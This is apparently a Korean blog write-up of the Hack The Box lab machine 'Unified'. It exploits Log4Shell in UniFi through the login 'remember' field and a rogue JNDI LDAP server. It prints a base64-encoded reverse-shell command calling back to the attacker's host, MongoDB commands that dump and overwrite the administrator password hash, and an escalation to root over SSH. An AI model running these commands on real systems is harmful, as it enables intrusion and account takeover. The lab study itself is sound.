Hack the box의 Starting Point 중 Unified 문제를 해결하는 과정을 기록
이번 테스팅 머신은 CVE와 관련이있다. Spawn된 서버의 포트스캔 결과는 다음과 같다.
"hxxp://10.129.114.158:8080"에 접근하니 "hxxps://10.129.114.158:8443"로 리다이렉션된다.
UniFi Network에 대한 정보가없어 찾아보니 네트워크 관련된 매니저 솔루션이라고한다. 이번 테스팅 머신의 주체가 CVE다보니 Unifi 6.4.54 버전에 대한 CVE를 조사하던 중 작년 말 전세계적으로 크게 이슈가 있던 Log4j 취약점을 언급한 블로그 게시글이 보인다.
포스팅을 읽으면서 로그인 시 요청하는 "/api/login" 경로에서 POST data로 넘어가는 json 데이터 중 remember 값이 log4j에 취약하다고 한다.
이를 테스트하기 위해 Kali에서 특정 인터페이스의 389포트(LDAP)을 모니터링했다. (Boooom!🔥)
log4shell 취약점을 위해선 악성 LDAP서버가 필요하다. 이를 위해 rogue-jndi를 이용한다!
openjdk version : 11.0.14
취약한 LDAP 서버가 악의적인 클래스를 전달하면서 실행할 명령을 지정해야한다. Reverse shell을 획득하기 위해 아래와 같은 커멘드를 base64로 인코딩한다.
echo 'bash -c bash -i >&/dev/tcp/10.10.14.121/12321 0>&1' | base64
이제 maven으로 빌드한 RogueJndi-1.1.jar를 실행해 준다.
java -jar RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMTIxLzEyMzIxIDA+JjEK}|{base64,-d}|{bash,-i}" --hostname "10.10.14.121"
다시 한번 "/api/login" 페이지에서 remember 값에 악성 jndi 페이로드를 삽입한다.
악성 LDAP 서버에서 반응하며 악의적인 클래스를 전달한다.
악성 클래스에서 Kali의 12321포트로 bash 쉘을 전달하여 Reverse shell이 맺어졌다. 터미널을 사용하기 위해 script /dev/null -c bash
커멘드를 추가로 전달했다.
백엔드에서 Mongo DB가 27117포트로 실행되고있는것을 확인.
구글링을 통해 알아낸 정보로는 UniFi에서 Mongodb 사용시 ace라는 DB명을 사용한다. 이를 이용해 mongo 명령을 통해 MongoDB에 코드를 실행하여 mongodb 관리자 및 패스워드 해시를 확인한다.
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
SHA512를 크랙하는것은 불가능에 가까우니 mongo 명령어로 코드를 실행하여 'x_shadow' 값을 변경할 것이다.
먼저 임의의 패스워드를 SHA512로 해쉬화한다.
이후 아래와 같은 명령을 전달하여 특정id(61ce278f46e0fb0012d47ee4)의 유저(administarator)의 x_shadow 값을 변경한다.
mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$exEno7KTmbXDWIuy$tEzyCgAI8hrxxphFI1NvbgYGmXuYNgj6mg1JIlQe9DUu/uRWWsuj0cKC25iiclAfm72xdsMzM1K8dV6YZ9r4s1"}})'
변경된 Hash값은 juicemon이다. UniFi로그인 페이지로가서 administrator/juicemon으로 로그인하면 로그인에 성공한다.
Settings에서 SSH 인증과 관련된 설정을 확인할 수 있는데 무려 root 계정이다!
ssh접근해서 root계정으로 권한상승까지 마무리했다🤩